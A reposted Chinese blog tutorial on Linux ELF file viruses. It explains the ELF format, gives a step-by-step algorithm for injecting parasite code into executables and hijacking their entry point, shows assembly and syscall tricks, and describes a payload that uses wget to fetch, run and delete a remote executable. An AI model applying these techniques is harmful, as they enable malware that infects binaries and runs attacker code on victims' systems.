`
Fangrn
  • 浏览: 818063 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

ELF文件病毒的分析和编写(转)

阅读更多

这个文章是从网上搜来的,转来转去也不知道睡是原版的了,所以很抱歉。

最近在研究一个linux软件的破解,需要用到这些,暂且收藏之。

 

写这篇文章的目的是为了让对这方面不太熟悉而又感兴趣的朋友通过编写病毒实例让大家了解linux下ELF文件格式和基本的病毒原理和技术等;看这篇文章和附件代码的朋友要有Linux环境和C语言知识,并且要能看懂一点简单的汇编指令;我在写这篇文章的时候也参考了其他相关的文档和文章(列在最后的参考章节中),程序代码是在UNIX ELF Parasites and virus文章中提供的代码的基础之上进行修改的;该文章涉及到技术还是比较多的,如有错误欢迎指正,谢谢!
制作所谓的ELF文件病毒简单的来说就是直接把二进制的指令插入到某一个可执行文件,并且修改该可执行文件的入口地址指向病毒代码的入口,待病毒代码执行完后再回到真实的地址执行正常的代码;

1.ELF格式
首先简单的介绍一些ELF格式,Linux下任何可执行文件都是由ELF格式组织的,我给大家看看readelf -e a.out的输出并且对关键地方进行了讲解:

ELF Header(ELF头部):
  Magic:7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Magic是固定标识,前四个字节的字符串形式是"\177ELF"
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Type只能为以下三种:目标文件,动态库,可执行文件(EXEC)
  Machine:                           Intel 80386
  Machine其实是指CPU类型
  Version:                           0x1
  Entry point address:               0x8049cd0
  Entry point address是程序入口地址,这个对于病毒程序来说很重要
  Start of program headers:          52 (bytes into file)
  Start of program headers是Segment头部表的在文件中的偏移量是52
  Start of section headers:          195760 (bytes into file)
  Start of section headers是Section头部表的在文件中的偏移量是195760
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of this header是下面说到的Elf32_Ehdr结构(也就是ELF头部结构)的大小
  Size of program headers:           32 (bytes)
  Size of program headers 是下面说到的Elf32_Phdr结构(也就是Segment头部结构)的大小
  Number of program headers:         7
  Number of program headers告诉我们Segment头部表一共有7个Segment头部(一个Segment其实是由一个或多个Section组成的)
  Size of section headers:           40 (bytes)
  Size of section headers 是下面说到的Elf32_Shdr结构(也就是Section头部结构)的大小
  Number of section headers:         36
  Number of section headers告诉我们Section头部表一共有36个Section头部
  Section header string table index: 33
以上输出对应于下面的结构,该结构和下面所提到的结构都在elf.h头文件中被定义:
typedef struct
{
  unsigned char e_ident[EI_NIDENT];  /* Magic number and other info */
  Elf32_Half  e_type;           /* Object file type */
  Elf32_Half  e_machine;    /* Architecture */
  Elf32_Word  e_version;    /* Object file version */
  Elf32_Addr  e_entry;      /* Entry point virtual address */
  Elf32_Off   e_phoff;   /* Program header table file offset */
  Elf32_Off   e_shoff;   /* Section header table file offset */
  Elf32_Word  e_flags;      /* Processor-specific flags */
  Elf32_Half  e_ehsize;     /* ELF header size in bytes */
  Elf32_Half  e_phentsize;  /* Program header table entry size */
  Elf32_Half  e_phnum;   /* Program header table entry count */
  Elf32_Half  e_shentsize;  /* Section header table entry size */
  Elf32_Half  e_shnum;   /* Section header table entry count */
  Elf32_Half  e_shstrndx; /* Section header string table index */
} Elf32_Ehdr;
Elf file type is EXEC (Executable file)
Entry point 0x8049cd0
There are 7 program headers, starting at offset 52
Program Headers是在操作系统加载程序到内存的时候告诉它如何把该程序映射到内存的对应区域,只有Type为LOAD的Segment才会被加载到内存中;比如把一个在文件偏移位置为Offset,大小为FileSiz,类型为LOAD的Segment加载到内存起始位置VirutAddr;除了包含.bss Section的Segment,其他Segment的FileSiz等于它的MemSiz,因为.bss表示未初始化的数据,它不占用硬盘空间,只会在加载到内存的时候才会分配内存;
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000e0 0x000e0 R E 0x4
  PHDR是Program Headers,也就是它自己的信息,可以看出他在文件中的偏移位置是0x000034,十进制的52;而前面的52字节存储的是Elf32_Ehdr结构
  INTERP         0x000114 0x08048114 0x08048114 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x0b17b 0x0b17b R E 0x1000
上面第一个LOAD表示的是会被加载到内存的Text Segment(文本段),它在内存中的起始位置总是0x08048000,它的Flg属性为RE,表示可读(Read)和可执行(Execute),我们的病毒代码就是要插到这个内存地址为VirtAddr + MemSiz的后面,Text Segment包含的重要的Section有.text(存放二进制可执行代码),.rodata(存放常量)
  LOAD           0x00b17c 0x0805417c 0x0805417c 0x02094 0x0212c RW  0x1000
上面第二个LOAD表示的是会被加载到内存的Data Segment(数据段),它的Flg属性为RW,表示可读(Read)和可写(Write),Data Segment包含的重要的Section有.data(存放全局变量),.bbs(未初始化数据),.init(初始化代码,先于main执行),.fini(终止代码,后于main执行),.dynsym(记录所有外部动态库的符号,这里的符号其实就是指函数的名字和全局变量的名字),.symtab(记录所有外部动态库的符号和本地符号),.dynstr(动态库的字符串名称,值得一提的是strings命令他的输出顺序先从.dynstr开始,然后是存储本地变量字符串名称和函数字符串名称的.stabstr,最后是存储常量字符串的.rodata)
  DYNAMIC        0x00b190 0x08054190 0x08054190 0x000f8 0x000f8 RW  0x4
  NOTE           0x000128 0x08048128 0x08048128 0x00020 0x00020 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
DYNAMIC存储着动态链接所需要的信息,通过看它和Text Segment的Offset和FileSiz,可以看出它是被包括在Text Segment中的,DYNAMIC只有一个叫做.dynamic的Section,ldd命令输出的信息就是通过解析这个Section而来的

以上输出对应于下面的结构:
typedef struct
{
  Elf32_Word  p_type;           /* Segment type */
  Elf32_Off   p_offset;     /* Segment file offset */
  Elf32_Addr  p_vaddr;      /* Segment virtual address */
  Elf32_Addr  p_paddr;      /* Segment physical address */
  Elf32_Word  p_filesz;     /* Segment size in file */
  Elf32_Word  p_memsz;      /* Segment size in memory */
  Elf32_Word  p_flags;      /* Segment flags */
  Elf32_Word  p_align;      /* Segment alignment */
} Elf32_Phdr;

下面是Section和Segment的对应关系
 Section to Segment mapping:
  Segment Sections...
   00
   01     .interp
   02(Text Segment)     .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata
   03(Data Segment)     .eh_frame .ctors .dtors .dynamic .got .got.plt .data .bss
   04     .dynamic
   05     .note.ABI-tag
   06
There are 36 section headers, starting at offset 0x2fcb0:
Section Headers是在链接阶段会被编译器里的链接器部件用到;链接器必须完成的两个主要工作是1.通过.symtab Section来进行符号解析,2.通过.rel.dyn Section重定位在程序中使用的外部变量的地址,通过 .rel.plt Section重定位在程序中调用的外部函数的地址
Section Headers:
        名称             类型           虚拟地址 文件偏移 大小
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
---------------------------加载到内存的数据的开始处-----------------------------
---Text Segment开始处---
<Elf32_Ehdr结构,0x34字节>
<Segment头部表,总共0xe0字节,上面的0x34 + 0xe0正好等于0x114>
  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4
  [ 3] .hash             HASH            08048148 000148 000350 04   A  4   0  4
  [ 4] .dynsym           DYNSYM          08048498 000498 000710 10   A  5   1  4
  [ 5] .dynstr           STRTAB          08048ba8 000ba8 000644 00   A  0   0  1
  [ 6] .gnu.version      VERSYM          080491ec 0011ec 0000e2 02   A  4   0  2
  [ 7] .gnu.version_r    VERNEED         080492d0 0012d0 000050 00   A  5   2  4
  [ 8] .rel.dyn          REL             08049320 001320 000020 08   A  4   0  4
  [ 9] .rel.plt          REL             08049340 001340 000320 08   A  4  11  4
  [10] .init             PROGBITS        08049660 001660 000017 00  AX  0   0  4
  [11] .plt              PROGBITS        08049678 001678 000650 04  AX  0   0  4
  [12] .text             PROGBITS        08049cd0 001cd0 006c0c 00  AX  0   0 16
 <Entry point程序入口的位置在这里>
  [13] .fini             PROGBITS        080508dc 0088dc 00001c 00  AX  0   0  4
  [14] .rodata           PROGBITS        08050900 008900 00287b 00   A  0   0 32
---Text Segment结束处---
---Data Segment开始处---
  [15] .eh_frame         PROGBITS        0805417c 00b17c 000004 00  WA  0   0  4
  [16] .ctors            PROGBITS        08054180 00b180 000008 00  WA  0   0  4
  [17] .dtors            PROGBITS        08054188 00b188 000008 00  WA  0   0  4
  [18] .dynamic          DYNAMIC         08054190 00b190 0000f8 08  WA  5   0  4
  [19] .got              PROGBITS        08054288 00b288 000004 04  WA  0   0  4
  [20] .got.plt          PROGBITS        0805428c 00b28c 00019c 04  WA  0   0  4
  [21] .data             PROGBITS        08054440 00b440 001dd0 00  WA  0   0 32
  [22] .bss              NOBITS          08056210 00d210 000098 00  WA  0   0  8
---Data Segment结束处---
---------------------------加载到内存的数据的结束处-----------------------------
  [23] .stab             PROGBITS        00000000 00d210 00e760 0c     24   0  4
  [24] .stabstr          STRTAB          00000000 01b970 013691 00      0   0  1
  [25] .comment          PROGBITS        00000000 02f001 000448 00      0   0  1
  [26] .debug_aranges    PROGBITS        00000000 02f450 000078 00      0   0  8
  [27] .debug_pubnames   PROGBITS        00000000 02f4c8 000025 00      0   0  1
  [28] .debug_info       PROGBITS        00000000 02f4ed 000236 00      0   0  1
  [29] .debug_abbrev     PROGBITS        00000000 02f723 000076 00      0   0  1
  [30] .debug_line       PROGBITS        00000000 02f799 0001a4 00      0   0  1
  [31] .debug_str        PROGBITS        00000000 02f93d 0000d3 01  MS  0   0  1
  [32] .note             NOTE            00000000 02fa10 000168 00      0   0  1
  [33] .shstrtab         STRTAB          00000000 02fb78 000137 00      0   0  1
<Section头部表的位置在这里,可以看出它自身不会被加载到进程空间>
  [34] .symtab           SYMTAB          00000000 030250 0012a0 10     35 145  4
  [35] .strtab           STRTAB          00000000 0314f0 000e95 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

以上输出对应于下面的结构:
typedef struct
{
  Elf32_Word  sh_name;   /* Section name (string tbl index) */
  Elf32_Word  sh_type;   /* Section type */
  Elf32_Word  sh_flags;  /* Section flags */
  Elf32_Addr  sh_addr;   /* Section virtual addr at execution */
  Elf32_Off   sh_offset; /* Section file offset */
  Elf32_Word  sh_size;   /* Section size in bytes */
  Elf32_Word  sh_link;      /* Link to another section */
  Elf32_Word  sh_info;      /* Additional section information */
  Elf32_Word  sh_addralign; /* Section alignment */
  Elf32_Word  sh_entsize; /* Entry size if section holds table */
} Elf32_Shdr;

2.病毒感染过程的算法
1.检测文件文件是否是ELF格式的可执行文件,如果否那么返回
2.在病毒程序的某偏移位置打上设置真实地址的地址的补丁(该偏移位置需要通过反汇编得到的该位置的内存地址减去-病毒代码的内存起始位置)
3.查找到该文件的Text Segment的结尾是否有足够的剩余空间能够容下病毒代码,如果否那么返回
4.把病毒的长度填充到PAGE_SIZE
5.修改该Text Segment的 p_filesz和 p_memsz加上病毒代码实际的长度(而不是填充到的PAGE_SIZE)
6.修改程序入口指向病毒程序的入口(p_vaddr + 上面更新后的p_filesz)
7.给所有地址在病毒代码后面的Segment的p_offset加上PAGE_SIZE
8.查找指向Text Segment的结尾的Section,使该Section的sh_size加上病毒代码的长度
9,给所有地址在病毒代码后面的Section的p_offset加上PAGE_SIZE
10.修改elf头结构里的e_shoff加上PAGE_SIZE
11.创建一个临时文件拷贝上面的修改过的结构和原有的数据,并且在Text Segment的结尾插入病毒代码
12.把该临时文件的所有者属性和权限属性用chown和chmod改成和该文件的一致,然后用rename替换该文件
3.关键问题和解决办法
1.正确和高效的使用字符串在病毒代码里如何使用字符串是一个问题,我觉得使用局部变量存储字符串比较好.
char uri[] = {'h','t','t','p',':','/','/','1','9','2','.','1','6','8','.','1','.','1','0','0','/','w','/','a'};
上面的有两个问题:
1.反汇编后发现生成的汇编代码太长:
c6 85 04 cf ff ff 2d     movb   $0x2d,0xffffcf04(%ebp)
处理一个字符的指令就需要7个字节!而病毒代码要强调短小精悍;
2.更严重的是gcc会对这样的初始化赋值的代码进行优化,导致以上字符数组不在病毒代码本身了;
解决办法是把上面的代码改成:
int uri[7];
uri[0] = 0x70747468;// ptth
uri[1] = 0x312F2F3A;// 1//:
uri[2] = 0x312E3239;// 1.29
uri[3] = 0x312E3836;// 1.86
uri[4] = 0x3030312E;// 001.
uri[5] = 0x612F772F;// a/w/
uri[6] = 0x0;
因为intel CPU用小端表示法,也就是说低字节在高位,所以每一个int里的字符方向为反向;
但是第二种代码它的作用与第一种完全一样,它用一个int类型变量包含四个字符
1.反汇编后的代码是
 8048cb6: c7 85 f4 ce ff ff 2f movl   $0x7273752f,0xffffcef4(%ebp)
 8048cbd: 75 73 72
可以看出一次处理四个字符的指令只需要10个字节,远比上面的28个字节要节省字节很多
2.我们为了防止gcc优化出现问题,所以采用每一个int变量一一赋值的方法,虽然第二种方法
使用的C语句比第一种要多,但是产生的汇编代码比第一种要少得多,这才是我们真正想要的;

2.只使用系统调用,而不要使用其他任何库!
这样做的主要目的是为了让病毒能尽量在不同的环境下运行;Linux下的系统调用函数很多,已经可以给了我们的病毒提供很强大的功能了;所谓的系统调用就是操作系统提供给外部的服务,在用户层的应用或函数库调用系统调用后就进入了内核层;我们的病毒使用到的系统调用有以下:
__syscall0(int,fork);
__syscall1(time_t, time, time_t *, t);
__syscall1(int, close, int, fd);
__syscall1(unsigned long, brk, unsigned long, brk);
__syscall1(int, unlink, const char *, pathname);
__syscall2(int, fstat, int, fd, struct stat *, buf);
__syscall2(int, fchmod, int, filedes, mode_t, mode);
__syscall2(int,chmod,const char *,pathname,unsigned int,mode);
__syscall2(int, rename, const char *, oldpath, const char *, newpath);
__syscall3(int, fchown, int, fd, uid_t, owner, gid_t, group);
__syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
__syscall3(int, open, const char *, file, int, flag, int, mode);
__syscall3(off_t, lseek, int, filedes, off_t, offset, int, whence);
__syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
__syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count);
__syscall3(int,execve,const char *,file,char **,argv,char **,envp);
__syscall3(pid_t,waitpid,pid_t,pid,int *,status,int,options);

看到fork和execve了吗?这两个系统调用的组合可是超级强大!但是我们在用他们的时候需要自己稍稍重新封装一下,不能直接使用,因为你们看:

#define _syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name)); \
do { \
    if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
       errno = -(res); \
        res = -1; \
    } \
    return (type) (res); \
} while (0)
}
系统里提供的这些封装函数里有errno,这是一个在病毒中不能使用的全局变量,所以我们要改成:
#define __syscall0(type,name) \
static inline type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name)); \
    return (type) __res; \
}

再稍微多解释一下上面的代码:
Linux通过int 0x80中断使得用户层的应用或者函数库进入内核层,而__NR_##name这个宏其实是名为name的函数对应的中断向量表中的索引;__res保存的是返回值,他是经由eax寄存器(标识为a,按照惯例所有函数的返回值都是保存在eax寄存器中)转存到__res的;如果想知道Linux提供的所有系统调用那么请看man syscalls
 
3.寄存器的保存和恢复
首先需要知道以下两点:
eax,ecx,edx由调用者保存,被调用者使用后不必恢复
ebx,esi,edi由被调用者保存,被调用者使用后要恢复
病毒代码需要在开始执行之后恢复所有的寄存器才能让后来运行的宿主程序运行正常,比如
能获得从main函数传来的参数;
main函数的开始处:
 gcc生成的进入函数main入口后为堆栈做准备的汇编代码:
 80487d0: 55                       push   %ebp
 80487d1: 89 e5                    mov    %esp,%ebp
 80487d3: 81 ec 5c 31 00 00        sub    $0x315c,%esp
 gcc生成的保存寄存器的汇编代码:
 80487d9: 57                       push   %edi
 80487da: 56                       push   %esi
 80487db: 53                       push   %ebx
 gcc生成的初始化所有的局部变量的汇编代码:
 80487dc: 66 c7 85 f2 ce ff ff 00 00 movw   $0x0,0xffffcef2(%ebp)
 80487e5: c6 85 f2 ce ff ff 2e     movb   $0x2e,0xffffcef2(%ebp)
 80487ec: c7 85 e4 ce ff ff 00 00 00 00 movl $0x0,0xffffcee4(%ebp)
 80487f6: c7 85 e0 ce ff ff 00 00 00 00 movl $0x0,0xffffcee0(%ebp)
 我们自己在C语言中插入的汇编代码:
 8048800: 50                       push   %eax
 8048801: 51                       push   %ecx
 8048802: 52                       push   %edx

main函数的末尾处都是我们自己根据main开始处的push堆栈动作自己插入的汇编代码,保证上面的push和下面的pop一一对应,这样病毒代码退出后堆栈恢复正常了:
 8048c11: 5a                       pop    %edx
 8048c12: 59                       pop    %ecx
 8048c13: 58                       pop    %eax
 8048c14: 5b                       pop    %ebx
 8048c15: 5e                       pop    %esi
 8048c16: 5f                       pop    %edi
 8048c17: 81 c4 5c 31 00 00        add    $0x315c,%esp
 8048c1d: 5d                       pop    %ebp
4.拷贝病毒代码
拷贝病毒代码有两种办法,一种是从自己的病毒文件里拷贝,一种是我们使用的直接在内存中拷贝,这两种方法我们都需要首先知道病毒代码的开始位置和代码长度;
第一种方法还需要病毒程序找到自己的病毒文件的具体位置,这可以通过读/proc/self/maps的第一行来获得;
我们用的是更好的第二种方法,病毒代码的开始位置我们是这样获得的:
    /* Get start address of virus code */
    __asm__ volatile (
           "jmp get_start_addr\n\t"
           "infect_start:\n\t"
           "popl %0\n\t"
           :"=a" (push_real_entry_addr)
           :);
    para_code_start_addr = push_real_entry_addr - (set_real_entry_offset - 1);
... /* c代码 */
...
    __asm__ volatile (
    "get_start_addr:\n\t"
    "call infect_start\n\t"
    "ret_real_entry:\n\t"
    "push $0xAABBCCDD\n\t" /* push ret_addr */
    "ret\n\t"
    ::);
第一段汇编的jmp get_start_addr指令跳转到第二段汇编的get_start_addr标识处,然后紧接着call infect_start它先push下一条指令的地址(这里是push $0xAABBCCDD这条指令的地址)到堆栈然后跳转到第一段汇编的infect_start,下面popl %0就是把之前push的地址返回给push_real_entry_addr变量

push_real_entry_addr的值是 push $0xAABBCCDD这条指令在内存中的地址
set_real_entry_offset - 1的值是push $0xAABBCCDD这条指令在病毒代码中的偏移量
push_real_entry_addr - (set_real_entry_offset – 1)得到的就是病毒代码在内存中的开始位置

5.使用mmap代替open,read
如果把程序中的open,read改成用mmap先映射文件到虚拟内存再使用访问数组的方式去访问文件那么生成出来的汇编代码会更短小精悍,但是我在改写用mmap方法的时候于遇到了一个问题,后来在网上搜索发现是封装mmap所使用的__syscall6宏在x86上会有不对劲儿的现象,所以直接拷贝了别人提供的解决难题的代码:

__syscall1(void *, mmap, unsigned long *, buffer);
static inline void *local_mmap(void * addr, unsigned long size, int prot, int flags, int fd, unsigned long offset) {
    unsigned long buffer[6];
    buffer[0] = (unsigned long)addr;
    buffer[1] = (unsigned long)size;
    buffer[2] = (unsigned long)prot;
    buffer[3] = (unsigned long)flags;
    buffer[4] = (unsigned long)fd;
    buffer[5] = (unsigned long)offset;
    return (void *)mmap(buffer);
}

6.动态内存分配使用brk
我们一般使用C语言标准库的malloc,free来进行动态分配内存和释放内存,brk这个系统调用函数他同时有malloc和free功能,比如
char *start = brk(0);//首先获得堆的起始位置
char *ptr = brk(1024);//分配1K字节
brk(start);//释放1K字节

7.返回到原来的地址
两种最简单的办法,假设aabbccdd是返回地址
第一种:jmp aabbccdd
第二种:
push aabbccdd
ret
ret的指令从堆栈中弹出地址然后返回到那里
我们的程序用的是第二种方法

8.对齐
首先要知道操作系统为了高效的从硬盘文件中加载数据到内存而使用的加载方式是每次读4K数据,这4K数据被称作1页;判断我们的病毒代码时候是否能够插入到一个可执行文件里的Text Segment的结尾要看在该Text Segment最后一页还剩下多少剩余的空间,这个剩余的空间肯定要比4K要小;所以我们的病毒代码也必须要小于4K,这样才能有机会插入到可执行文件里;在我们的程序里是把病毒代码放入一个固定4k大小的数组,然后把这固定4k大小的数组插入到Text Segment的最后一页里的剩余空间,这样虽然在硬盘中的文件的体积会变大一些,但是其实加载到内存里的体积是完全不会变的,和原来一模一样

9.病毒感染文件之后做什么?

我们的病毒在随机感染同目录的文件后首先fork()创建一个子进程,它会做如下几件事:
1.使用fork() + execve()创建一个子进程执行/usr/bin/wget从网上的一个特定地址下载一个可执行文件;
2.用waitpid等待该下载完成;
3.用chmod改变文件大权限为S_IRWXU(用户可读,可写,可执行)
4.使用fork() + execve()创建一个子进程执行该文件
5.删除该执行文件

5.我们的程序
病毒程序:
elf-p-virus:病毒源程序,发作时会随机感染本地目录下的文件并且从从网上的一个特定地址下载一个可执行文件并且开始执行后删除;

感染程序:
infect-elf-p.c:他携带病毒二进制代码(文件是parasite.c,由下面提到的elf-text2hex生成并且修改),第一次的感染任务就交给他

工具:
makefile:提供了我们所需要的自动化编译
test_virus.sh:用于测试我们的病毒,测试的目录为tmp,test_virus.sh的里面脚本为;
rm tmp/*
cp foo tmp/
cp infect-elf-p tmp/
cd tmp
cp foo host
./infect-elf-p host

elf-text2hex.c:用于把我们的病毒代码转化为十六进制数组;输入参数有目标文件,病毒的终止位置(这个位置都需要反汇编后去查找)
char2int.c:用于前面我们讨论过的字符串的问题;输入参数为字符串,输出为int类型变量
比如:
./char2int 192.168.1.100/w/a
input:192.168.1.100/w/a
padding_len:20
{0x2E323931,0x2E383631,0x30312E31,0x2F772F30,0x61};<--字符被转换后的形式

用于测试的文件:
foo.c:充当被感染文件的角色
hell-paraiste.c:一个最简单的病毒,他只会在进入真正入口之前打印出hello

6.实战
我机子上的环境为:
Linux debian 2.6.18-4-686,gcc-2.95
注意:
我们用C语言写的病毒代码依赖于gcc为我们产生相应的汇编代码,同样的C源文件用不同的gcc版本会产生完全不同的汇编代码,我这里生成正确的汇编代码使用的是gcc-2.95,而用gcc-3.3和gcc-4.12产生的汇编代码作为病毒运行都会出现Segmentation Fault错误,因为本人汇编能力有限所以无法通过反汇编找到准确的问题定位.

 1.用make infect-elf-p编译elf-p-virus.c为elf-p-virus
 2.使用make elf-p-virus-objdump反汇编后查找aabbccdd字符串,然后
(1)记录下它的地址为aabbccdd_addr(同行左边的十六进制地址加一,加一是为了跳过一字节的push指令);
(2)记录下与aabbccdd_addr最靠近的上面的mov指令后的地址(main_end函数的地址)为virus_end_addr;
(3)记录下与aabbccdd_addr最靠近的下面的mov指令后的地址(main主函数的地址)为parasite_entry_addr;
(4)记录下main下面第三行的sub    $0xXXXX,%esp中的XXXX数值
 3.用XXXX更新elf-p-virus.c的main函数中最后的内嵌汇编语句中的"addl $0xAAAA, %%esp\n\t"语句中的AAAA
 4.用aabbccdd_addr更新elf-p-virus.c的main函数中set_real_entry_offset(该变量是设置原来的地址的索引)的数值后重新生成elf-p-virus
 5.修改Makefile里的elf-text2hex的第3个参数为virus_end_addr,然后执行make virus2hex生成paraiste.c
 6.修改paraiste.c里的第一个x为aabbccdd_addr,第二个x为parasite_entry_addr 7.make infect-elf-p
 8.执行test_virus.sh脚本后进入tmp目录执行host文件测试

7.参考文章
UNIX ELF Parasites and virus
EXECUTABLE AND LINKABLE FORMAT (ELF)
一个Linux病毒原型分析

分享到:
评论

相关推荐

    ELF文件病毒的分析和编写

    总之,ELF文件病毒的分析和编写涉及对ELF文件格式的深入理解,包括其头部结构、Segment和Section的管理,以及如何修改这些元素以实现病毒代码的注入和执行。通过这样的实践,可以增进对Linux系统和二进制文件处理的...

    自己动手写病毒—ELF文件病毒

    在深入探讨如何编写ELF文件病毒之前,我们需要先理解ELF文件格式的基本概念。ELF(Executable and Linkable Format)是Linux和其他类UNIX系统中广泛使用的二进制文件格式,用于可执行文件、共享库和核心转储。以下是...

    Winux病毒感染Linux下ELF文件的分析.pdf

    Winux病毒感染Linux下ELF文件的分析 ...本文对Winux病毒感染Linux下ELF文件的分析可以作为Linux操作系统安全和病毒研究的参考文献。同时,本文也可以作为Linux操作系统开发和安全相关的专业指导。

    LinuxELF病毒感染技术研究

    它们可以使用汇编语言或C语言编写,通过修改ELF文件实现自身的复制和传播。 #### 五、ELF文件感染技术研究 ##### 5.1 覆盖感染 覆盖感染是最简单的感染方式之一,病毒会直接用自己的代码覆盖宿主文件的部分或全部...

    linux下的文件感染病毒

    3. **修改头信息**:为了使病毒代码能被执行,病毒会篡改ELF文件的头部信息,使得系统加载器执行病毒代码。 4. **隐藏自身**:病毒可能会修改文件属性,使其不易被发现,如隐藏文件属性。 对于防止和清除Linux下的...

    The Linux Virus Writing And Detection HOWTO

    ### Linux病毒编写与检测 #### 引言 本文档旨在探讨如何在Linux/i386平台上编写寄生型文件病毒,这些病毒能够感染ELF(Executable and Linkable Format)可执行文件。虽然文档中包含大量源代码示例,但并未实际...

    Linux病毒分类以及防范方法.pdf

    这类病毒通过汇编或C语言编写,能够感染ELF文件,并在运行时将自身代码插入到目标文件中,导致系统行为异常。例如,Lindose病毒就是一种典型的ELF病毒感染者。防范这类病毒的关键在于管理好文件权限,避免以root用户...

    防御Linux操作系统病毒的方法

    此类病毒编写较为简单,不需要具有很高深的知识,很容易就实现对系统进行破坏,比如删除文件、破坏系统正常运行、甚至下载安装木马等。但它传播性不强,通常是在本机上造成破坏。防范这种病毒也是要注意不要随便运行...

    让Linux防范病毒 (1).pdf

    Linux上的病毒通常分为两类:感染ELF格式文件的病毒和脚本病毒。前者如Lindose,会寻找ELF格式的可执行文件,通过覆盖部分代码进行感染。防范这类病毒的关键在于严格管理文件权限,避免以root身份运行未知来源的可...

    “地狱火”手机病毒——源自安卓系统底层的威胁_研究专区.pdf

    - **替换系统vold(ELF文件)**:病毒将自身代码注入到系统关键进程vold中,使其成为系统的一部分,难以被普通用户或安全软件检测和清除。 - **修改Boot.img**:病毒进一步修改Boot分区的映像文件,确保每次设备启动...

    《计算机病毒原理及防范技术》第9章

    基于ELF格式的病毒能够直接针对Linux系统设计,利用其特性进行传播和破坏。 #### 9.6 移动设备病毒 随着智能手机和平板电脑的普及,移动设备也成为了病毒的新目标。移动设备病毒通常利用操作系统漏洞进行传播,...

    wit-virus.pdf

    通过以上内容可以看出,《Linux下编写ELF病毒教程》深入探讨了病毒的设计原理和技术实现细节,尽管这一主题较为敏感,但从中我们仍能学到许多有关ELF文件结构及操作系统安全方面的知识。需要注意的是,本文档的目的...

    免杀技术入门(PE文件详解和常用免杀方法)

    在免杀技术中,了解PE文件结构对于编写和修改恶意软件至关重要。 PE文件由多个节区(Section)组成,每个节区包含代码、数据或其他资源。免杀技术通常会针对以下几点对PE文件进行修改: 1. **特征码篡改**:防病毒...

    分享北大青鸟linux病毒解决方法.pdf

    1. 对于感染ELF格式文件的病毒,如Lindose,这类病毒需要足够的权限才能传播。用户应避免以root身份运行未知来源的可执行文件,并确保文件权限管理得当。 2. 脚本病毒通常使用shell脚本编写,能够轻易破坏系统。...

    Linux系统服务器防病毒实战.docx

    此类病毒编写较为简单,但是破坏力同样惊人。我们知道,Linux 系统中有许多的以.sh 结尾的脚本文件,而一个短短十数行的 shell 脚本就可以在短时间内遍览整个硬盘中的所有脚本文件,进行感染。 4. 后门程序:在广义...

    IDA入门教程.rar 非常不错

    IDA,全称Interactive Disassembler Pro,是一款强大的反汇编器和调试器,广泛应用于软件逆向工程、漏洞分析和恶意软件研究等领域。本教程旨在为初学者提供一个全面的IDA学习路径,帮助理解其基本功能和高级特性,...

    IsPE.zip_detect pe

    标题 "IsPE.zip_detect pe" 暗示我们要讨论...综上所述,"Detect PE File (like Exe, Dll...)" 是关于在C++环境中识别和处理Windows下的PE文件,这包括理解PE文件结构、编写检测代码以及与之相关的安全和程序设计实践。

    河大恶意代码期末复习呕心沥血整理版

    ELF文件格式的感染可能涉及修改文件头、插入恶意代码到节区或利用程序执行流程中的漏洞。 【木马的组成部分和植入技术】 特洛伊木马通常包含: 1. **客户端组件**:在受害者的机器上运行,接收远程控制命令。 2. *...

Global site tag (gtag.js) - Google Analytics